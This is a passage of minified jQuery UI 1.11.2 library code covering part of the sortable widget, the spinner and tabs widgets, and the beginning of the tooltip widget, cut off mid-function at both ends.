this.containers[i].containerCache.over&&(this.containers[i]._trigger("out",t,this._uiHash(this)),this.containers[i].containerCache.over=0);if(c)if(1===this.containers.length)this.containers[p].containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1);else{for(n=1e4,a=null,u=c.floating||this._isFloating(this.currentItem),o=u?"left":"top",r=u?"width":"height",d=u?"clientX":"clientY",s=this.items.length-1;s>=0;s--)e.contains(this.containers[p].element[0],this.items[s].item[0])&&this.items[s].item[0]!==this.currentItem[0]&&(h=this.items[s].item.offset()[o],l=!1,t[d]-h>this.items[s][r]/2&&(l=!0),n>Math.abs(t[d]-h)&&(n=Math.abs(t[d]-h),a=this.items[s],this.direction=l?"up":"down"));if(!a&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[p])return this.currentContainer.containerCache.over||(this.containers[p]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1),void 0;a?this._rearrange(t,a,null,!0):this._rearrange(t,null,this.containers[p].element,!0),this._trigger("change",t,this._uiHash()),this.containers[p]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[p],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[p]._trigger("over",t,this._uiHash(this)),this.containers[p].containerCache.over=1}},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper)?e(i.helper.apply(this.element[0],[t,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||e("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,e("document"===n.containment?document:window).width()-this.helperProportions.width-this.margins.left,(e("document"===n.containment?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(t=e(n.containment)[0],i=e(n.containment).offset(),s="hidden"!==e(t).css("overflow"),this.containment=[i.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,i){i||(i=this.position);var s="absolute"===t?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,a=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():a?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():a?0:n.scrollLeft())*s}},_generatePosition:function(t){var i,s,n=this.options,a=t.pageX,o=t.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==document&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(a=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(o=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(a=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(o=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((o-this.originalPageY)/n.grid[1])*n.grid[1],o=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((a-this.originalPageX)/n.grid[0])*n.grid[0],a=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:o-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:a-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(e,t,i,s){i?i[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(e,t){function i(e,t,i){return function(s){i._trigger(e,s,t._uiHash(t))}}this.reverting=!1;var s,n=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(s in this._storedCSS)("auto"===this._storedCSS[s]||"static"===this._storedCSS[s])&&(this._storedCSS[s]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!t&&n.push(function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||n.push(function(e){this._trigger("update",e,this._uiHash())}),this!==this.currentContainer&&(t||(n.push(function(e){this._trigger("remove",e,this._uiHash())}),n.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),n.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),s=this.containers.length-1;s>=0;s--)t||n.push(i("deactivate",this,this.containers[s])),this.containers[s].containerCache.over&&(n.push(i("out",this,this.containers[s])),this.containers[s].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,t||this._trigger("beforeStop",e,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!t){for(s=0;n.length>s;s++)n[s].call(this,e);this._trigger("stop",e,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){e.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(t){var i=t||this;return{helper:i.helper,placeholder:i.placeholder||e([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:t?t.element:null}}}),e.widget("ui.spinner",{version:"1.11.2",defaultElement:"<input>",widgetEventPrefix:"spin",options:{culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var t={},i=this.element;return e.each(["min","max","step"],function(e,s){var n=i.attr(s);void 0!==n&&n.length&&(t[s]=n)}),t},_events:{keydown:function(e){this._start(e)&&this._keydown(e)&&e.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(e){return this.cancelBlur?(delete this.cancelBlur,void 0):(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",e),void 0)},mousewheel:function(e,t){if(t){if(!this.spinning&&!this._start(e))return!1;this._spin((t>0?1:-1)*this.options.step,e),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(e)},100),e.preventDefault()}},"mousedown .ui-spinner-button":function(t){function i(){var e=this.element[0]===this.document[0].activeElement;e||(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s}))}var s;s=this.element[0]===this.document[0].activeElement?this.previous:this.element.val(),t.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),this._start(t)!==!1&&this._repeat(null,e(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){return e(t.currentTarget).hasClass("ui-state-active")?this._start(t)===!1?!1:(this._repeat(null,e(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t),void 0):void 0},"mouseleave .ui-spinner-button":"_stop"},_draw:function(){var e=this.uiSpinner=this.element.addClass("ui-spinner-input").attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml());this.element.attr("role","spinbutton"),this.buttons=e.find(".ui-spinner-button").attr("tabIndex",-1).button().removeClass("ui-corner-all"),this.buttons.height()>Math.ceil(.5*e.height())&&e.height()>0&&e.height(e.height()),this.options.disabled&&this.disable()},_keydown:function(t){var i=this.options,s=e.ui.keyCode;switch(t.keyCode){case s.UP:return this._repeat(null,1,t),!0;case s.DOWN:return this._repeat(null,-1,t),!0;case s.PAGE_UP:return this._repeat(null,i.page,t),!0;case s.PAGE_DOWN:return this._repeat(null,-i.page,t),!0}return!1},_uiSpinnerHtml:function(){return"<span class='ui-spinner ui-widget ui-widget-content ui-corner-all'></span>"},_buttonHtml:function(){return"<a class='ui-spinner-button ui-spinner-up ui-corner-tr'><span class='ui-icon "+this.options.icons.up+"'>&#9650;</span>"+"</a>"+"<a class='ui-spinner-button ui-spinner-down ui-corner-br'>"+"<span class='ui-icon "+this.options.icons.down+"'>&#9660;</span>"+"</a>"},_start:function(e){return this.spinning||this._trigger("start",e)!==!1?(this.counter||(this.counter=1),this.spinning=!0,!0):!1},_repeat:function(e,t,i){e=e||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,t,i)},e),this._spin(t*this.options.step,i)},_spin:function(e,t){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+e*this._increment(this.counter)),this.spinning&&this._trigger("spin",t,{value:i})===!1||(this._value(i),this.counter++)},_increment:function(t){var i=this.options.incremental;return i?e.isFunction(i)?i(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var e=this._precisionOf(this.options.step);return null!==this.options.min&&(e=Math.max(e,this._precisionOf(this.options.min))),e},_precisionOf:function(e){var t=""+e,i=t.indexOf(".");return-1===i?0:t.length-i-1},_adjustValue:function(e){var t,i,s=this.options;return t=null!==s.min?s.min:0,i=e-t,i=Math.round(i/s.step)*s.step,e=t+i,e=parseFloat(e.toFixed(this._precision())),null!==s.max&&e>s.max?s.max:null!==s.min&&s.min>e?s.min:e},_stop:function(e){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",e))},_setOption:function(e,t){if("culture"===e||"numberFormat"===e){var i=this._parse(this.element.val());return this.options[e]=t,this.element.val(this._format(i)),void 0}("max"===e||"min"===e||"step"===e)&&"string"==typeof t&&(t=this._parse(t)),"icons"===e&&(this.buttons.first().find(".ui-icon").removeClass(this.options.icons.up).addClass(t.up),this.buttons.last().find(".ui-icon").removeClass(this.options.icons.down).addClass(t.down)),this._super(e,t),"disabled"===e&&(this.widget().toggleClass("ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable"))},_setOptions:h(function(e){this._super(e)}),_parse:function(e){return"string"==typeof e&&""!==e&&(e=window.Globalize&&this.options.numberFormat?Globalize.parseFloat(e,10,this.options.culture):+e),""===e||isNaN(e)?null:e},_format:function(e){return""===e?"":window.Globalize&&this.options.numberFormat?Globalize.format(e,this.options.numberFormat,this.options.culture):e},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var e=this.value();return null===e?!1:e===this._adjustValue(e)},_value:function(e,t){var i;""!==e&&(i=this._parse(e),null!==i&&(t||(i=this._adjustValue(i)),e=this._format(i))),this.element.val(e),this._refresh()},_destroy:function(){this.element.removeClass("ui-spinner-input").prop("disabled",!1).removeAttr("autocomplete").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:h(function(e){this._stepUp(e)}),_stepUp:function(e){this._start()&&(this._spin((e||1)*this.options.step),this._stop())},stepDown:h(function(e){this._stepDown(e)}),_stepDown:function(e){this._start()&&(this._spin((e||1)*-this.options.step),this._stop())},pageUp:h(function(e){this._stepUp((e||1)*this.options.page)}),pageDown:h(function(e){this._stepDown((e||1)*this.options.page)}),value:function(e){return arguments.length?(h(this._value).call(this,e),void 0):this._parse(this.element.val())},widget:function(){return this.uiSpinner}}),e.widget("ui.tabs",{version:"1.11.2",delay:300,options:{active:null,collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:function(){var e=/#.*$/;return function(t){var i,s;t=t.cloneNode(!1),i=t.href.replace(e,""),s=location.href.replace(e,"");try{i=decodeURIComponent(i)}catch(n){}try{s=decodeURIComponent(s)}catch(n){}return t.hash.length>1&&i===s}}(),_create:function(){var t=this,i=this.options;this.running=!1,this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all").toggleClass("ui-tabs-collapsible",i.collapsible),this._processTabs(),i.active=this._initialActive(),e.isArray(i.disabled)&&(i.disabled=e.unique(i.disabled.concat(e.map(this.tabs.filter(".ui-state-disabled"),function(e){return t.tabs.index(e)}))).sort()),this.active=this.options.active!==!1&&this.anchors.length?this._findActive(i.active):e(),this._refresh(),this.active.length&&this.load(i.active)},_initialActive:function(){var t=this.options.active,i=this.options.collapsible,s=location.hash.substring(1);return null===t&&(s&&this.tabs.each(function(i,n){return e(n).attr("aria-controls")===s?(t=i,!1):void 0}),null===t&&(t=this.tabs.index(this.tabs.filter(".ui-tabs-active"))),(null===t||-1===t)&&(t=this.tabs.length?0:!1)),t!==!1&&(t=this.tabs.index(this.tabs.eq(t)),-1===t&&(t=i?!1:0)),!i&&t===!1&&this.anchors.length&&(t=0),t},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):e()}},_tabKeydown:function(t){var i=e(this.document[0].activeElement).closest("li"),s=this.tabs.index(i),n=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case e.ui.keyCode.RIGHT:case e.ui.keyCode.DOWN:s++;break;case e.ui.keyCode.UP:case e.ui.keyCode.LEFT:n=!1,s--;break;case e.ui.keyCode.END:s=this.anchors.length-1;break;case e.ui.keyCode.HOME:s=0;break;case e.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),this._activate(s),void 0;case e.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),this._activate(s===this.options.active?!1:s),void 0;default:return}t.preventDefault(),clearTimeout(this.activating),s=this._focusNextTab(s,n),t.ctrlKey||(i.attr("aria-selected","false"),this.tabs.eq(s).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",s)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===e.ui.keyCode.UP&&(t.preventDefault(),this.active.focus())},_handlePageNav:function(t){return t.altKey&&t.keyCode===e.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===e.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,i){function s(){return t>n&&(t=0),0>t&&(t=n),t}for(var n=this.tabs.length-1;-1!==e.inArray(s(),this.options.disabled);)t=i?t+1:t-1;return t},_focusNextTab:function(e,t){return e=this._findNextTab(e,t),this.tabs.eq(e).focus(),e},_setOption:function(e,t){return"active"===e?(this._activate(t),void 0):"disabled"===e?(this._setupDisabled(t),void 0):(this._super(e,t),"collapsible"===e&&(this.element.toggleClass("ui-tabs-collapsible",t),t||this.options.active!==!1||this._activate(0)),"event"===e&&this._setupEvents(t),"heightStyle"===e&&this._setupHeightStyle(t),void 0)},_sanitizeSelector:function(e){return e?e.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,i=this.tablist.children(":has(a[href])");t.disabled=e.map(i.filter(".ui-state-disabled"),function(e){return i.index(e)}),this._processTabs(),t.active!==!1&&this.anchors.length?this.active.length&&!e.contains(this.tablist[0],this.active[0])?this.tabs.length===t.disabled.length?(t.active=!1,this.active=e()):this._activate(this._findNextTab(Math.max(0,t.active-1),!1)):t.active=this.tabs.index(this.active):(t.active=!1,this.active=e()),this._refresh()},_refresh:function(){this._setupDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.addClass("ui-tabs-active ui-state-active").attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var t=this,i=this.tabs,s=this.anchors,n=this.panels;this.tablist=this._getList().addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").attr("role","tablist").delegate("> li","mousedown"+this.eventNamespace,function(t){e(this).is(".ui-state-disabled")&&t.preventDefault()}).delegate(".ui-tabs-anchor","focus"+this.eventNamespace,function(){e(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").addClass("ui-state-default ui-corner-top").attr({role:"tab",tabIndex:-1}),this.anchors=this.tabs.map(function(){return e("a",this)[0]
}).addClass("ui-tabs-anchor").attr({role:"presentation",tabIndex:-1}),this.panels=e(),this.anchors.each(function(i,s){var n,a,o,r=e(s).uniqueId().attr("id"),h=e(s).closest("li"),l=h.attr("aria-controls");t._isLocal(s)?(n=s.hash,o=n.substring(1),a=t.element.find(t._sanitizeSelector(n))):(o=h.attr("aria-controls")||e({}).uniqueId()[0].id,n="#"+o,a=t.element.find(n),a.length||(a=t._createPanel(o),a.insertAfter(t.panels[i-1]||t.tablist)),a.attr("aria-live","polite")),a.length&&(t.panels=t.panels.add(a)),l&&h.data("ui-tabs-aria-controls",l),h.attr({"aria-controls":o,"aria-labelledby":r}),a.attr("aria-labelledby",r)}),this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").attr("role","tabpanel"),i&&(this._off(i.not(this.tabs)),this._off(s.not(this.anchors)),this._off(n.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol,ul").eq(0)},_createPanel:function(t){return e("<div>").attr("id",t).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").data("ui-tabs-destroy",!0)},_setupDisabled:function(t){e.isArray(t)&&(t.length?t.length===this.anchors.length&&(t=!0):t=!1);for(var i,s=0;i=this.tabs[s];s++)t===!0||-1!==e.inArray(s,t)?e(i).addClass("ui-state-disabled").attr("aria-disabled","true"):e(i).removeClass("ui-state-disabled").removeAttr("aria-disabled");this.options.disabled=t},_setupEvents:function(t){var i={};t&&e.each(t.split(" "),function(e,t){i[t]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(e){e.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(t){var i,s=this.element.parent();"fill"===t?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var t=e(this),s=t.css("position");"absolute"!==s&&"fixed"!==s&&(i-=t.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=e(this).outerHeight(!0)}),this.panels.each(function(){e(this).height(Math.max(0,i-e(this).innerHeight()+e(this).height()))}).css("overflow","auto")):"auto"===t&&(i=0,this.panels.each(function(){i=Math.max(i,e(this).height("").height())}).height(i))},_eventHandler:function(t){var i=this.options,s=this.active,n=e(t.currentTarget),a=n.closest("li"),o=a[0]===s[0],r=o&&i.collapsible,h=r?e():this._getPanelForTab(a),l=s.length?this._getPanelForTab(s):e(),u={oldTab:s,oldPanel:l,newTab:r?e():a,newPanel:h};t.preventDefault(),a.hasClass("ui-state-disabled")||a.hasClass("ui-tabs-loading")||this.running||o&&!i.collapsible||this._trigger("beforeActivate",t,u)===!1||(i.active=r?!1:this.tabs.index(a),this.active=o?e():a,this.xhr&&this.xhr.abort(),l.length||h.length||e.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(a),t),this._toggle(t,u))},_toggle:function(t,i){function s(){a.running=!1,a._trigger("activate",t,i)}function n(){i.newTab.closest("li").addClass("ui-tabs-active ui-state-active"),o.length&&a.options.show?a._show(o,a.options.show,s):(o.show(),s())}var a=this,o=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),n()}):(i.oldTab.closest("li").removeClass("ui-tabs-active ui-state-active"),r.hide(),n()),r.attr("aria-hidden","true"),i.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),o.length&&r.length?i.oldTab.attr("tabIndex",-1):o.length&&this.tabs.filter(function(){return 0===e(this).attr("tabIndex")}).attr("tabIndex",-1),o.attr("aria-hidden","false"),i.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(t){var i,s=this._findActive(t);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(".ui-tabs-anchor")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:e.noop}))},_findActive:function(t){return t===!1?e():this.tabs.eq(t)},_getIndex:function(e){return"string"==typeof e&&(e=this.anchors.index(this.anchors.filter("[href$='"+e+"']"))),e},_destroy:function(){this.xhr&&this.xhr.abort(),this.element.removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible"),this.tablist.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all").removeAttr("role"),this.anchors.removeClass("ui-tabs-anchor").removeAttr("role").removeAttr("tabIndex").removeUniqueId(),this.tablist.unbind(this.eventNamespace),this.tabs.add(this.panels).each(function(){e.data(this,"ui-tabs-destroy")?e(this).remove():e(this).removeClass("ui-state-default ui-state-active ui-state-disabled ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel").removeAttr("tabIndex").removeAttr("aria-live").removeAttr("aria-busy").removeAttr("aria-selected").removeAttr("aria-labelledby").removeAttr("aria-hidden").removeAttr("aria-expanded").removeAttr("role")}),this.tabs.each(function(){var t=e(this),i=t.data("ui-tabs-aria-controls");i?t.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):t.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(t){var i=this.options.disabled;i!==!1&&(void 0===t?i=!1:(t=this._getIndex(t),i=e.isArray(i)?e.map(i,function(e){return e!==t?e:null}):e.map(this.tabs,function(e,i){return i!==t?i:null})),this._setupDisabled(i))},disable:function(t){var i=this.options.disabled;if(i!==!0){if(void 0===t)i=!0;else{if(t=this._getIndex(t),-1!==e.inArray(t,i))return;i=e.isArray(i)?e.merge([t],i).sort():[t]}this._setupDisabled(i)}},load:function(t,i){t=this._getIndex(t);var s=this,n=this.tabs.eq(t),a=n.find(".ui-tabs-anchor"),o=this._getPanelForTab(n),r={tab:n,panel:o};this._isLocal(a[0])||(this.xhr=e.ajax(this._ajaxSettings(a,i,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(n.addClass("ui-tabs-loading"),o.attr("aria-busy","true"),this.xhr.success(function(e){setTimeout(function(){o.html(e),s._trigger("load",i,r)},1)}).complete(function(e,t){setTimeout(function(){"abort"===t&&s.panels.stop(!1,!0),n.removeClass("ui-tabs-loading"),o.removeAttr("aria-busy"),e===s.xhr&&delete s.xhr},1)})))},_ajaxSettings:function(t,i,s){var n=this;return{url:t.attr("href"),beforeSend:function(t,a){return n._trigger("beforeLoad",i,e.extend({jqXHR:t,ajaxSettings:a},s))}}},_getPanelForTab:function(t){var i=e(t).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}}),e.widget("ui.tooltip",{version:"1.11.2",options:{content:function(){var t=e(this).attr("title")||"";return e("<a>").text(t).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,tooltipClass:null,track:!1,close:null,open:null},_addDescribedBy:function(t,i){var s=(t.attr("aria-describedby")||"").split(/\s+/);s.push(i),t.data("ui-tooltip-id",i).attr("aria-describedby",e.trim(s.join(" ")))},_removeDescribedBy:function(t){var i=t.data("ui-tooltip-id"),s=(t.attr("aria-describedby")||"").split(/\s+/),n=e.inArray(i,s);-1!==n&&s.splice(n,1),t.removeData("ui-tooltip-id"),s=e.trim(s.join(" ")),s?t.attr("aria-describedby",s):t.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.options.disabled&&this._disable(),this.liveRegion=e("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).addClass("ui-helper-hidden-accessible").appendTo(this.document[0].body)},_setOption:function(t,i){var s=this;return"disabled"===t?(this[i?"_disable":"_enable"](),this.options[t]=i,void 0):(this._super(t,i),"content"===t&&e.each(this.tooltips,function(e,t){s._updateContent(t.element)}),void 0)},_disable:function(){var t=this;e.each(this.tooltips,function(i,s){var n=e.Event("blur");n.target=n.currentTarget=s.element[0],t.close(n,!0)}),this.element.find(this.options.items).addBack().each(function(){var t=e(this);t.is("[title]")&&t.data("ui-tooltip-title",t.attr("title")).removeAttr("title")})},_enable:function(){this.element.find(this.options.items).addBack().each(function(){var t=e(this);t.data("ui-tooltip-title")&&t.attr("title",t.data("ui-tooltip-title"))})},open:function(t){var i=this,s=e(t?t.target:this.element).closest(this.options.items);s.length&&!s.data("ui-tooltip-id")&&(s.attr("title")&&s.data("ui-tooltip-title",s.attr("title")),s.data("ui-tooltip-open",!0),t&&"mouseover"===t.type&&s.parents().each(function(){var t,s=e(this);s.data("ui-tooltip-open")&&(t=e.Event("blur"),t.target=t.currentTarget=this,i.close(t,!0)),s.attr("title")&&(s.uniqueId(),i.parents[this.id]={element:this,title:s.attr("title")},s.attr("title",""))}),this._updateContent(s,t))},_updateContent:function(e,t){var i,s=this.options.content,n=this,a=t?t.type:null;return"string"==typeof s?this._open(t,e,s):(i=s.call(e[0],function(i){e.data("ui-tooltip-open")&&n._delay(function(){t&&(t.type=a),this._open(t,e,i)})}),i&&this._open(t,e,i),void 0)},_open:function(t,i,s){function n(e){u.of=e,o.is(":hidden")||o.position(u)}var 